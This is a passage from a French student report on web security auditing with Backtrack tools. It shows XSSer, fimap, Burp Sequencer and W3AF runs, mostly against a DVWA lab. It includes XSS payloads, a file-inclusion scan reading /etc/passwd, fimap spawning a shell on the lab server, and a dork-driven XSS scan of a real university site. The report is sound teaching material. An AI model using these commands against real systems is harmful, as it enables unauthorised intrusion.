Figure 5 – XSS permanent
XSSer
Pour tester si une application Web est vulnerable aux attaques XSS, il existe plusieurs outils dans Backtrack 5, dont
on va choisir XSSer. Notre application DVWA possède une page appelée ≪XSS reflected≫ dans le menu à gauche, où
on trouve un formulaire avec un champ ≪name≫, qui une fois envoyé nous montre le message de bienvenue avec le
nom rempli dans le champ :
On exécute XSSer avec l’URL qui contient ce champ (l’option -u), pour tester s’il est bien filtré, et avec le cookie de
notre session, capturé come décrit dans la section [?].
IDENTIFICATION DES VULNÉRABILITÉS
page 32 sur 47
Rapport du projet ”Backtrack”
Dumitrescu Andrei
El Raousti Habib
r o o t @ b t : / p e n t e s t / web / x s s e r# . / x s s e r −u ” h t t p : / / 1 9 2 . 1 6 8 . 1 . 4 / v u l n e r a b i l i t i e s / x s s r /?name=” −−c o o k i e =”
PHPSESSID=a q j7 2 1 u 6 h u e 3 jl g m 1 l g 1 o o im n1 ; s e c u r i t y=low ” −−a u t o
===========================================================================
X S S e r v 1 . 6 ( b e t a ) : ” Grey Swarm ! ” − 2 0 1 1 / 2 0 1 2 − ( GPLv3 . 0 ) −> b y p s y
===========================================================================
T e s t i n g [ XSS f r o m URL ] i n j e c t i o n s . . . l o o k s l i k e y o u r t a r g e t i s g o o d d e f i n e d ; )
===========================================================================
HEAD a l i v e
ch eck for th e
t a r g e t : ( h t t p : / / 1 9 2 . 1 6 8 . 1 . 4 / v u l n e r a b i l i t i e s / x s s r /? name=) i s OK( 2 0 0 ) [ AIMED ]
===========================================================================
T a r g e t : h t t p : / / 1 9 2 . 1 6 8 . 1 . 4 / v u l n e r a b i l i t i e s / x s s r /? name= −−> 2012−05−19 1 8 : 4 0 : 0 7 . 7 1 7 3 4 8
===========================================================================
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
[ −] H a s h i n g : e 0 5 b 7 e 5 7 4 0 4 8 5 c 2 7 f b c 7 c 4 2 a 8 4 1 b d 1 d 4
[ + ] T r y i n g : h t t p : / / 1 9 2 . 1 6 8 . 1 . 4 / v u l n e r a b i l i t i e s / x s s r /? name=/”><SCRIPT>a l e r t ( ’
e 0 5 b 7 e 5 7 4 0 4 8 5 c 2 7 f b c 7 c 4 2 a 8 4 1 b d 1 d 4 ’ ) </SCRIPT>
[ + ] Browser S u p p o r t : [ IE7 . 0 | IE6 . 0 | NS8.1 − IE ] [ NS8.1 −G| FF2 . 0 ] [ O9 . 0 2 ]
[ + ] Ch e c k i n g : u r l a t t a c k wi t h ”><SCRIPT> a l e r t ( ’ PAYLOAD ’ ) </SCRIPT > . . . o k
[...]
===========================================================================
Mosquito ( s ) landed !
===========================================================================
[∗] Final Results :
===========================================================================
−
−
−
−
I n j e c t i o n s : 98
F a i l e d : 83
S u c e s s f u l l : 15
A c c u r : 15 %
===========================================================================
[ ∗ ] L i s t o f p o s s i b l e XSS i n j e c t i o n s :
===========================================================================
[ I ] T a r g e t : h t t p : / / 1 9 2 . 1 6 8 . 1 . 4 / v u l n e r a b i l i t i e s / x s s r /? name=
[ + ] I n j e c t i o n : h t t p : / / 1 9 2 . 1 6 8 . 1 . 4 / v u l n e r a b i l i t i e s / x s s r /? name=/”><SCRIPT>a l e r t ( ’
e 0 5 b 7 e 5 7 4 0 4 8 5 c 2 7 f b c 7 c 4 2 a 8 4 1 b d 1 d 4 ’ ) </SCRIPT>
[ − ] Method : x s s
[ − ] Br o wse r s : [ IE7 . 0 | IE6 . 0 | NS8.1 − IE ] [ NS8.1 −G| FF2 . 0 ] [ O9 . 0 2 ]
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
[...]
Comme on peut voir, XSSer possède ses propre ≪payloads≫ (la charge utile pour faire le XSS), qu’on a spécifié qu’il
utilise avec l’option –auto. Il compose les requêtes HTTP en utilisant ces charges utiles et l’URL qu’on lui a donné au
début, et il nous dit ceux qui ont réussi. Il peut parfois donner des ≪faux positifs≫, donc les résultats sont juste un
indice que le paramètre ≪name≫ de la requête HTTP est vulnérable à XSS.
XSSer a encore plus des options pour encoder la charge utile pour contourner les mécanismes d’échappement des
caractères sur un site, pour créer des images ou animations Flash qui contiennent du code malveillant et ainsi de suite,
mais une option intéressante est d’utiliser une technique appelée ≪dorking≫ pour tester une suite des sites trouvée
dans les résultats d’un moteur de recherche :
IDENTIFICATION DES VULNÉRABILITÉS
page 33 sur 47
Dumitrescu Andrei
El Raousti Habib
Rapport du projet ”Backtrack”
r o o t @ b t : / p e n t e s t / web / x s s e r# . / x s s e r −d ” ina nc h o r : u v s q . f r ? i n d e x . php ? i d=”
===========================================================================
X S S e r v 1 . 6 ( b e t a ) : ” Grey Swarm ! ” − 2 0 1 1 / 2 0 1 2 − ( GPLv3 . 0 ) −> b y p s y
===========================================================================
T e s t i n g [ XSS f r o m D o r k ] i n j e c t i o n s . . . g o o d l u c k ; )
===========================================================================
HEAD a l i v e
ch eck for th e
t a r g e t : ( h t t p : / / www . p r i s m . u v s q . f r / i n d e x . p h p ? i d =125) i s OK( 2 0 0 ) [ AIMED ]
HEAD a l i v e
ch eck for th e
t a r g e t : ( h t t p : / / www . p r i s m . u v s q . f r / i n d e x . p h p ? i d =127) i s OK( 2 0 0 ) [ AIMED ]
===========================================================================
T a r g e t : h t t p : / / www . p r i s m . u v s q . f r / i n d e x . p h p ? i d =125 −−> 2012−05−19 2 2 : 3 5 : 0 0 . 9 6 9 2 8 6
===========================================================================
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
[ −] H a s h i n g : c f e 4 b b 7 6 c 5 0 1 8 3 6 6 2 c b 0 8 5 3 5 2 f f 7 d 8 f a
[ + ] T r y i n g : h t t p : / / www . p r i s m . u v s q . f r / i n d e x . p h p ? i d =125/”>c f e 4 b b 7 6 c 5 0 1 8 3 6 6 2 c b 0 8 5 3 5 2 f f 7 d 8 f a
[ + ] Browser S u p p o r t : [ IE7 . 0 | IE6 . 0 | NS8.1 − IE ] [ NS8.1 −G| FF2 . 0 ] [ O9 . 0 2 ]
[ + ] Ch e c k i n g : u r l a t t a c k wi t h ”>PAYLOAD . . . f a i l
===========================================================================
T a r g e t : h t t p : / / www . p r i s m . u v s q . f r / i n d e x . p h p ? i d =127 −−> 2012−05−19 2 2 : 3 5 : 0 0 . 9 6 9 2 8 6
===========================================================================
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
[ − ] H a s h i n g : 52 c 7 2 3 6 4 1 8 4 7 4 9 7 6 e 8 e 0 4 9 5 d f e f b 9 5 2 0
[ + ] T r y i n g : h t t p : / / www . p r i s m . u v s q . f r / i n d e x . p h p ? i d =127/”>52 c 7 2 3 6 4 1 8 4 7 4 9 7 6 e 8 e 0 4 9 5 d f e f b 9 5 2 0
[ + ] Browser S u p p o r t : [ IE7 . 0 | IE6 . 0 | NS8.1 − IE ] [ NS8.1 −G| FF2 . 0 ] [ O9 . 0 2 ]
[ + ] Ch e c k i n g : u r l a t t a c k wi t h ”>PAYLOAD . . . f a i l
===========================================================================
Mosquito ( s ) landed !
===========================================================================
[∗] Final Results :
===========================================================================
−
−
−
−
Injections : 2
Failed : 2
Sucessfull : 0
Accur : 0 %
===========================================================================
[I]
Could
not
find
any
vulnerability !.
Try a n o t h e r
combination
or hack
i t −m a n u a l l y − : )
===========================================================================
Nous avons fourni avec l’option -d le ≪dork≫, c’est-à-dire l’expression pour faire une recherche avancée dans l’adresse
URL des sites (≪inanchor≫ est pour Bing, le moteur de recherche utilisé par XSSer par défaut, l’equivalent de ≪inurl≫ pour Google) et l’outil fait les tests XSS sur chaque site qu’il trouve dans les résultats.
IDENTIFICATION DES VULNÉRABILITÉS
page 34 sur 47
Dumitrescu Andrei
El Raousti Habib
Rapport du projet ”Backtrack”
Inclusion de fichiers
Les failles de type LFI (Local File Include) et RFI (Remote File Include), sont des techniques permettant à un pirate
informatique d’accéder aux fichiers présents sur un serveur Web cible ou d’inclure des fichiers d’un serveur distant et
ainsi faire exécuter du code arbitraire sur un serveur Web cible. Cette faille survient par exemple dans du code PHP,
utilisant les fonctions include ou require sans précautions.
Figure 6 – Attaque ”Local File Include”
fimap
fimap est un outil performant capable de rechercher les vulnérabilités de type inclusion de fichier (local et distant),
en faisant un balayage sur une URL cible unique (”single mode”), sur une liste d’URLs donnée (”mass mode”), ou un
balayage automatique sur des URLs capturées par la technique du ≪Google dorking≫. Il peut également explorer un
site Web cible et en extraire la liste des URLs qu’il contient pour ensuite les scanner (en ”mass mode”).
Dans l’exemple suivant on’a lancé l’outil fimap pour le balayage sur une URL http://192.168.0.14/vulnerabilities/
fi/?page= prise de DVWA, ce dernier dispose d’un répertoire ”/vulnerabilities/fi/” permettant de tester les failles de
types LFI et RFI. On lance le balayage sur cette l’URL (avec l’option -u), en sachant que la faille existe réellement.
Il faut pas oublier de donner les cookies (avec l’option –cookie) nécessaire à la connexion, parce-que DVWA demande
un login/mot de passe pour l’accès. On a noté que l’option –cookie n’a été ajouté à fimap que à partir de la version
.09 qui est la dernière version.
IDENTIFICATION DES VULNÉRABILITÉS
page 35 sur 47
Rapport du projet ”Backtrack”
Dumitrescu Andrei
El Raousti Habib
r o o t @ b t : / p e n t e s t / web / f i m a p#. / fimap . py −u ’ h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 4 / v u l n e r a b i l i t i e s / f i /? page =’ −−c o o k i e =’
PHPSESSID=3g 0 1 v t v 4 g h 9 7 1 nu p b a g 3 4 jnr 8 1 ; s e c u r i t y=low ’
f i m a p v . 0 9 ( F o r t h e Swarm )
: : A u t o m a t i c L FI / RFI s c a n n e r and e x p l o i t e r
: : b y I m a n K a r i m ( f i m a p . d e v @ g m a i l . com )
S i n g l e S c a n i s t e s t i n g URL : ’ h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 4 / v u l n e r a b i l i t i e s / f i /? p a g e =’
[ 1 1 : 3 6 : 3 2 ] [ OUT ] I n s p e c t i n g URL ’ h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 4 / v u l n e r a b i l i t i e s / f i /? p a g e = ’ . . .
[ 1 1 : 3 6 : 3 2 ] [ INFO ] F i d d l i n g a r o u n d w i t h URL . . .
[ 1 1 : 3 6 : 3 2 ] [ OUT ] [ PHP ] P o s s i b l e f i l e i n c l u s i o n f o u n d ! −> ’ h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 4 / v u l n e r a b i l i t i e s / f i /? p a g e=
TSoY7ED1 ’ w i t h P a r a m e t e r ’ p a g e ’ .
[ 1 1 : 3 6 : 3 2 ] [ OUT ] [ PHP ] I d e n t i f y i n g V u l n e r a b i l i t y ’ h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 4 / v u l n e r a b i l i t i e s / f i /? p a g e =’ w i t h
P a r a m e t e r ’ page ’ . . .
[ 1 1 : 3 6 : 3 2 ] [ INFO ] S c r i p t p a t h r e c e i v e d : ’ / o p t / l a m p p / h t d o c s / v u l n e r a b i l i t i e s / f i ’
[ 1 1 : 3 6 : 3 2 ] [ INFO ] O p e r a t i n g S y s t e m i s ’ U n i x −L i k e ’ .
[ 1 1 : 3 6 : 3 2 ] [ INFO ] T e s t i n g f i l e ’ / e t c / p a s s w d ’ . . .
[...]
##################################################################
#[ 1 ] P o s s i b l e PHP−F i l e I n c l u s i o n
#
##################################################################
#: :REQUEST
#
# [URL]
h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 4 / v u l n e r a b i l i t i e s / f i /? page=
#
# [HEAD SENT]
Cookie
#
#: :VULN INFO
#
# [GET PARAM]
page
#
# [PATH]
/ o p t / lampp / h t d o c s / v u l n e r a b i l i t i e s / f i
#
# [OS ]
Unix
#
# [TYPE]
A b s o l u t e Clean + Remote i n j e c t i o n
#
# [TRUNCATION] No Need . I t ’ s c l e a n .
#
# [READABLE FILES ]
#
#
[ 0 ] / e t c / passwd
#
#
[ 1 ] php : / / i n p u t
#
#
[ 2 ] h t t p : / /www. phpbb . de / i n d e x . php
#
##################################################################
fimap a trouvé des failles de type LFI/RFI en incluant par exemple le chemin ”/etc/passwd” à l’URL. Enfin fimap
donne la possibilité d’exploiter les failles détectées en exécutant un script shell distant sur le serveur cible, avec l’option
-x. Ainsi comme c’est montré ci-dessous on a pu accéder au serveur de DVWA et exécuter des commandes systèmes
comme lister le contenu du répertoire ”/opt/lampp/htdocs/vulnerabilities/fi”.
IDENTIFICATION DES VULNÉRABILITÉS
page 36 sur 47
Rapport du projet ”Backtrack”
Dumitrescu Andrei
El Raousti Habib
r o o t @ b t : ˜ / D e s k t o p / f i m a p a l p h a v 0 9# . / fimap . py −x
f i m a p v . 0 9 ( F o r t h e Swarm )
: : A u t o m a t i c L FI / RFI s c a n n e r and e x p l o i t e r
: : b y I m a n K a r i m ( f i m a p . d e v @ g m a i l . com )
###################################################
#: : L i s t o f Domains : :
#
###################################################
#[ 1 ] 1 9 2 . 1 6 8 . 0 . 1 4
#
#[ ] And 0 h o s t s w i t h no v a l i d a t t a c k v e c t o r s .
#
#[ q ] Quit
#
###################################################
WARNING : Some d o m a i n s may b e n o t l i s t e d h e r e b e c a u s e d y n a m i c r f i i s n o t c o n f i g u r e d !
C h o o s e Domain : / e t c / p a s s w d
I n v a l i d Domain I D .
C h o o s e Domain : 1 9 2 . 1 6 8 . 0 . 1 4
I n v a l i d Domain I D .
C h o o s e Domain : 1
#################################################################################################
#: : FI Bugs on ’ 1 9 2 . 1 6 8 . 0 . 1 4 ’ : :
#
#################################################################################################
#[ 1 ] URL: ’/ v u l n e r a b i l i t i e s / f i /? page =’ i n j e c t i n g f i l e : ’ php : / / inp u t ’ u s i n g GET−param : ’ page ’
#
#[ q ] Quit
#
#################################################################################################
WARNING : Some b u g s a r e s u p p r e s s e d b e c a u s e d y n a m i c r f i i s n o t c o n f i g u r e d !
Choose v u l n e r a b l e s c r i p t : 1
[ 1 1 : 5 7 : 0 9 ] [ INFO ] T e s t i n g PHP−c o d e i n j e c t i o n t h r u POST . . .
[ 1 1 : 5 7 : 0 9 ] [ OUT ] PHP I n j e c t i o n w o r k s ! T e s t i n g i f e x e c u t i o n w o r k s . . .
[ 1 1 : 5 7 : 0 9 ] [ INFO ] T e s t i n g e x e c u t i o n t h r u ’ p o p e n [ b 6 4 ] ’ . . .
[ 1 1 : 5 7 : 0 9 ] [ OUT ] E x e c u t i o n t h r u ’ p o p e n [ b 6 4 ] ’ w o r k s !
####################################################
#: : A v a i l a b l e A t t a c k s − PHP and SHELL a c c e s s : :
#
####################################################
#[ 1 ] Spawn fimap s h e l l
#
#[ 2 ] Spawn pentestmonkey ’ s r e v e r s e s h e l l
#
#[ q ] Quit
#
####################################################
Choose Attack : 1
P l e a s e wait − S e t t i n g up s h e l l ( o n e r e q u e s t ) . . .
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
Welcome t o f i m a p s h e l l !
B e t t e r don ’ t s t a r t i n t e r a c t i v e commands ! ; )
A l s o remember t h a t t h i s i s n o t a p e r s i s t e n t s h e l l .
E v e r y command o p e n s a new s h e l l a n d q u i t s i t a f t e r t h a t !
E n t e r ’ q ’ t o exit t h e s h e l l .
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
f i s h e l l @ n o b o d y : / o p t / l a m p p / h t d o c s / v u l n e r a b i l i t i e s / f i \$> l s
help
i n c l u d e . php
i n d e x . php
source
f i s h e l l @ n o b o d y : / o p t / l a m p p / h t d o c s / v u l n e r a b i l i t i e s / f i \$>
IDENTIFICATION DES VULNÉRABILITÉS
page 37 sur 47
Rapport du projet ”Backtrack”
Dumitrescu Andrei
El Raousti Habib
Analyse des cookies de sessions
Un cookie est un fichier texte, crée par le serveur qui a besoin de mémoriser certains paramètres d’un utilisateur. En
rajoutant l’en-tête Set-cookie dans sa réponse, le serveur indique au navigateur qu’il souhaite y stocker un cookie. Le
navigateur (s’il le permet) crée le cookie demandé et le stocke dans une zone mémoire sûre, pour ensuite le joindre à
l’en-tête HTTP de toutes ses requêtes vers le même domaine tant que la session est active sur le serveur.
Un cookie est cependant limité en taille, 4Ko maximum, il sert généralement à stocker les ID de sessions des utilisateurs
afin de les authentifier.
Tout système de session robuste doit être pourvu d’un générateur de sessions efficace. Si le générateur de sessions délivre
des jetons (ID) prédictibles, un attaquant n’aura même pas besoin de voler les variables de session d’un utilisateur,
il lui suffira simplement de faire un brute force sur les cookies de sessions pour détourner aisément la session d’un
utilisateur. Il est donc important que les jetons de session (session-ID) soient uniques pour chaque utilisateur et non
prédictibles.
Burp Suite - Sequencer
Burp Suite Sequencer est un puissant module permettant de tester la fiabilité d’éléments générés aléatoirement (cookies
stockant les ID de sessions généralement). C’est parce que les jetons de sessions sont utilisés pour authentifier un
utilisateur, et donc ne devraient pas être compromis. Il est important pour une application Web de générer des jetons
de session de façon aléatoire.
Pour tester ce paramètre il faudrait envoyer une requête contenant un cookie de session déjà capturé par le proxy
Burp au séquenceur Burp, qui ensuite à son tour émet cette requête au serveur à plusieurs reprises, obtenant ainsi un
grand nombre de cookies contenants des ID de sessions, sur lesquels il appliquera divers tests statistiques paramétrés
pour déterminer s’ils sont bien générés de manière aléatoire.
L’outil propose deux modes :
– Le mode live capture permet une analyse pendant la navigation.
– Le mode manual load permet une analyse a posteriori d’informations déjà capturées par Burp Suite.
Burp Suite Sequencer effectue les tests suivants :
– Les tests sur les caractères : deux analyses sont effectuées l’une sur la distribution des caractères à chaque
position et l’autre sur la probabilité qu’un caractère soit suivi par un autre entre deux jetons, à chaque position.
– Les tests sur les bits : ou chaque caractère est transcrit sous forme de bit, et les tests s’effectuent sur chaque bit
des jetons capturés. Plusieurs tests sont effectués.
Pour plus de détails sur les tests statistiques existants dans Burp Suite, se référer a la documentation officielle http://
portswigger.net/burp/help/sequencer.html ou le site http://www.aldeid.com/wiki/BurpSuite:Sequencer.
Burp Suite Sequencer effectue ces tests statistiques sur une hypothèse supposée vraie: qui est que les jetons de sessions
sont générés de manière aléatoire. Chaque test calcule la probabilités de certaines caractéristiques spécifiques, qui
doivent apparaitre dans les jetons de sessions s’ils ont été généré de manière aléatoire. Si cette probabilité est inférieure
à un certain niveau (”significance level”), alors l’hypothèse est rejetée et les jetons sont considérés comme non générés
aléatoirement.
On lance le Burp Suite Sequencer sur l’application DVWA comme suit :
1 - On capture une requête contenant un cookie de session (en utilisant le proxy) et on l’envoie au séquenceur.
2 - Dans le séquenceur on spécifie l’emplacement du cookie de session dans l’entête de la requête HTTP, et on lance
la capture.
IDENTIFICATION DES VULNÉRABILITÉS
page 38 sur 47
Rapport du projet ”Backtrack”
Dumitrescu Andrei
El Raousti Habib
Figure 7 – Lancement de la capture des cookies de session avec le Burp Suite Sequencer
Pour notre exemple on’a pris 2287 jetons, en général il est conseillé de prendre le plus grand échantillon possible (au
moins 2000 jetons) pour avoir un test fiable et réduire le taux des faux positifs/négatifs. Le rapport d’analyse produit
des graphique par onglets : le premier rapport est un résumé (summary) de l’analyse. Comme le montre la figure
suivante, Burp Suite Sequencer note de manière globale le degré de fiabilité des jetons capturés (excellent, good, poor,
extremely poor, etc.).
Figure 8 – Vue globale des résultats des tests effectués avec Burp suite Sequencer
Ci-dessous un exemple montrant le test effectué par le séquenceur sur ”les transitions de caractères” ou il a analysé la
probabilité qu’un caractère soit suivi par un autre entre deux jetons, à chaque position des jetons capturés. Le graphe
qui montre les caractères qui ont passé le test avec succés pour chaque ”significance level” (0.0001%, 0.001%, etc.).
On remarque sur la Figure 10 qu’en effectuant ce test il a détecté 7 anomalies, par exemple on lit sur la première ligne
du résultat que dans le bit a la position 3, une transition du caractère ”r” à ”m” apparait assez souvent.
IDENTIFICATION DES VULNÉRABILITÉS
page 39 sur 47
Rapport du projet ”Backtrack”
Dumitrescu Andrei
El Raousti Habib
Figure 9 – Graphe de résultat du test ”Character transition analysis” avec Burp suite Sequencer
Figure 10 – Résultat du test ”Character transition analysis” avec Burp suite Sequencer
IDENTIFICATION DES VULNÉRABILITÉS
page 40 sur 47
Rapport du projet ”Backtrack”
Dumitrescu Andrei
El Raousti Habib
Scanneur de vulnérabilités des applications Web
Les scanneurs de vulnérabilités des applications Web sont des outils pratiques qui permettent à un testeur de sécurité
d’exécuter vite un ensemble de tests sur une application Web pour vérifier l’existence de failles de sécurité les plus
importantes.
De manière globale un scanneur de vulnérabilités d’applications Web procède en plusieurs étapes :
1. Il crawle le site, dans le but de découvrir son arborescence (pages/fichiers). Pour cela il s’appuie sur des fichiers
internes (par exemple ”robots.txt”, ”sitemap.xml”), explore les balises HTML et suit les liens hypertexte. Par
la suite, le scanneur va essayer également de découvrir des fichiers et répertoires non mentionnés ou non pointés
par un lien en testant au hasard des noms génériques tels que ”admin”, ”test”, etc.
2. Une fois la structure établie, le scanneur va lancer ses tests sur les différentes variables pour tenter de trouver
des vulnérabilités comme XSS, SQL injection, XSRF, etc.
3. Enfin il peut essayer d’exploiter ces failles trouvées.
Il existe une multitude de scanneurs de vulnérabilités d’applications Web sur le marchés certains payants et d’autres
gratuits et open source. Sous Backtrack il y a beaucoup de choix, dont on peut mentionner W3AF, Nikto, WebSecurify
comme gratuits et Burp Suite dans lequel il faut payer pour utiliser la section de scanneur de vulnérabilité (les autres
fonctionnalités sont gratuites). Mais en général, les scanneurs de vulnérabilités sont assez proches en terme de résultats
et donnent toujours un pourcentage, parfois élevé, de faux positifs, il y’a aussi des techniques basiques pour les faire
planter.
W3AF - Web Application Attack and Audit Framework
C’est un framework open source d’audit d’applications Web, qu’on peut utiliser pour découvrir des vulnérabilités et
les exploiter. Il est conçu en plugins reliés (environ 130) ce qui le rend évolutif ; il est présent sous Backtrack en version
console (en ligne de commande) et une version graphique plus conviviale.
Techniquement les plugins W3AF sont classés en huit catégories qui se partagent les informations récoltés sur une
cible précise :
– Ainsi les plugins (pris du guide technique [Ria08] repris en français par [Bou12]) : discovery dont l’objectif est de
découvrir un maximum de pages susceptibles de constituer des points d’entrée (leurs URL, formulaires, etc.)
– Les plugins d’audit qui se basent sur ces résultats envoyés afin de détecter des vulnérabilités (injection SQL, XSS,
buffer overflows, etc.) dans les pages renvoyées. Les vulnérabilités ainsi découvertes sont ajoutées à une base de
connaissance.
– Ces plugins principaux utilisent les autres plugins comme brute force permettant la recherche d’identifiants par
force brute, greps qui permettent une reconnaissance par mots clés (grep) dans le code des pages renvoyées, afin
d’isoler les commentaires, les champs de mots de passe, les adresses IP, etc. evasion qui modifient les requêtes pour
assurer la furtivité (evasion firewall, IDS, etc.), output qui assurent la partie reporting, mangle qui modifient les
requêtes et réponses en se basant sur les expressions régulières et enfin attaque qui permettent donc d’exploiter ces
vulnérabilités.
Nous abordons un exemple (inspiré du tutoriel : http://resources.infosecinstitute.com/w3af-tutorial-2/),
qui illustre la façon dont le plugin discovery et audit partagent entre eux des informations. Notamment des URL
trouvés par le plugin discovery qui pourront servir de points d’injection pour le plugin audit.
Les deux des plugins de découverte les plus utiles sont webSpider qui a partir d’une URL en entrée extrait tous les
liens et les formulaires de la cible (points d’injection possibles). L’autre plugin nommé spiderMan est également un
plugin très utile pour les sites qui utilisent Flash ou Javascript.
Fondamentalement, il est difficile pour les web crawlers de chercher des renseignements si un site utilise du Javascript
etc. parce qu’il n’est pas en mesure de comprendre ce que le code Javascript est censé faire. La plupart des web
crawlers cherchent donc de l’information statique comme des liens, des formulaires, etc. par exemple quand le plugin
webSpider atteint un formulaire de connexion il entrera automatiquement des informations d’identification si le plugin
auth est activé (et toutes ces options sont remplis correctement) et poursuit son processus d’exploration. Dans les cas
où l’application Web utilise du Javascript ou du Flash, le plugin spiderMan doit être utilisé. Ce plugin démarre un
proxy, et l’utilisateur doit naviguer à travers ce proxy et sur la base des résultats de cette navigation, le plugin est tente
IDENTIFICATION DES VULNÉRABILITÉS
page 41 sur 47
Dumitrescu Andrei
El Raousti Habib
Rapport du projet ”Backtrack”
d’identifier des points d’injection possibles et envoie le résultat aux plugins d’audit pour déterminer si ce sont des points
dangereux ou pas. Une autre caractéristique importante du plugin spiderMan est la possibilité d’enregistrer les cookies,
de les réutiliser et de les envoyer aux autres plugins qui peuvent donc les exploiter pour leurs explorations.
W3AF propose des profils prédéfinis avec des outils conseillés, mais l’utilisateur peut choisir un ensemble d’outils dont il a besoin pour faire ses tests. On a essayer de tester un scan sur l’application Damn Vulnerable Web
App en utilisant le profil ”OWASP TOP10”, tout en ajoutant le web crawler/proxy : spiderMan, pour avoir les
résultats les plus complets possibles. On doit configurer notre navigateur qui est Mozilla Firefox pour utiliser le
proxy spiderMan pour la navigation, puis on se connecte à l’application DVWA comme décrit dans la section
DVWA - Damn Vulnerable Web Application. On constate que le plugin spiderMan surveille et enregistre ces événements.
Figure 11 – Le plugin spiderMan
Ensuite on explore la section ”résultats” où on a l’arborescence de l’application découverte par les web crawlers.
IDENTIFICATION DES VULNÉRABILITÉS
page 42 sur 47
Rapport du projet ”Backtrack”
Dumitrescu Andrei
El Raousti Habib
Figure 12 – Résultats des URL trouvées par spiderman et webspider
Maintenant, les plugins d’audit exploitent les points d’injection découverts par les plugins de découverte et envoient
des données construites spécifiquement à tous ces derniers afin de trouver des vulnérabilités. Par exemple les plugins
d’audit pour les vulnérabilités d’injection SQL et XSS. L’audit consiste donc à éliminer toutes les URL suffisamment
protégées afin d’en faire ressortir que les vulnérables.
Figure 13 – Failles XSRF trouvées par le plugin d’audit de W3AF
IDENTIFICATION DES VULNÉRABILITÉS
page 43 sur 47
Rapport du projet ”Backtrack”
Dumitrescu Andrei
El Raousti Habib
Conclusion
Notre projet est finalisé par la création d’un dictionnaire Backtrack régroupant plus de 70 outils qui se trouvent dans
Backtrack et par la réalisation d’un protocole d’audit de sécurité qui donne une vision sur les plus importantes actions
à faire pour avoir un aperçu sur une entreprise et pour identifier les failles d’une application Web.
Le dictionnaire sert comme référence pour le lecteur et l’utilisateur du système d’exploitation Backtrack qui souhaite
avoir une explication rapide sur un outil ou qui veux voir tous les outils qui permettent de réaliser des actions spécifiques
à la sécurité informatique, en utilisant l’index de mots clés. La description de l’audit de sécurité et les deux grandes
partie qu’on a choisi de traiter offrent une bonne introduction dans le monde de la sécurité informatique et mettent en
évidence, sous la forme des exemples concrets avec l’aide des outils présents dans la distribution Backtrack, les étapes
les plus importantes à suivre pour auditer les sites et les applications Web.
Le projet nous a donné la possibilité d’être introduits dans le monde de la sécurité informatique dans une période
courte et de connaı̂tre quelques-uns des concepts les plus importants pour la partie pratique de la sécurité.
Si on avait eu plus de temps on aurait ajouté plus d’outils dans le dictionnaire Backtrack et on l’aurait fait bilingue (en
anglais aussi), parce que, d’après nos recherches, une telle ressource sur les outils des Backtrack n’existe pas en forme
complète et la communauté des testeurs pourrait le trouver utile. Pour l’audit de sécurité, dans la partie de collecte
d’informations, il existe encore plus d’analyses sur les services de réseau d’une entreprise qui peuvent être réalisé avec
les outils de Backtrack, et dans la partie d’identification de vulnérabilités, on aurait pu étudier les applications Web
sur des configurations de réseau plus compliquées, qui ont de mecanismes de détection et prévention des attaques
plus avancées, en utilisant des scanneur de vulnérabilités des réseaux bien connus comme Nessus et OpenVAS, aussi
disponibles dans Backtrack.
page 44 sur 47
Rapport du projet ”Backtrack”
Dumitrescu Andrei
El Raousti Habib
Liste des figures
1
2
3
4
5
6
7
8
9
10
11
12
13
Scan DNS sous Maltego . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Interception de cookies avec le proxy Burp . . . . . . . . . . . . . . . . . . . . . . . . .
SQL injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
XSS non permanent . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
XSS permanent . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Attaque ”Local File Include” . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Lancement de la capture des cookies de session avec le Burp Suite Sequencer . . . . .
Vue globale des résultats des tests effectués avec Burp suite Sequencer . . . . . . . . .
Graphe de résultat du test ”Character transition analysis” avec Burp suite Sequencer
Résultat du test ”Character transition analysis” avec Burp suite Sequencer . . . . . .
Le plugin spiderMan . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Résultats des URL trouvées par spiderman et webspider . . . . . . . . . . . . . . . . .
Failles XSRF trouvées par le plugin d’audit de W3AF . . . . . . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
15
25
27
31
32
35
39
39
40
40
42
43
43
page 45 sur 47
Rapport du projet ”Backtrack”
Dumitrescu Andrei
El Raousti Habib
Références bibliographiques
[ALL08] Cristophe ALLADOUM: Google Hacking, 2008. URL : www.hsc.fr/ressources/articles/hakin9_
googlehacking/CA-Hakin9-06-2008-googlehacking.pdf.
[AY09]
Farkhod Alisherov A et Feruza Sattarova Y: Methodology for Penetration Testing. International Journal of
Grid and Distributed Computing, 2(2), juin 2009. URL : http://sersc.org/journals/IJGDC/vol2_no2/
5.pdf.
[Bou12] Slimane Bouhadi: Tutoriel d’utilisation de l’outil W3Af. rapport technique, UNIVERSITE PARIS DESCARTES, 2012. URL : http://belkhir.nacim.free.fr/Rapports_20111-2012/Slimane_BOUHADI/WA3F/
PRESENTATION%20W3AF.pdf.
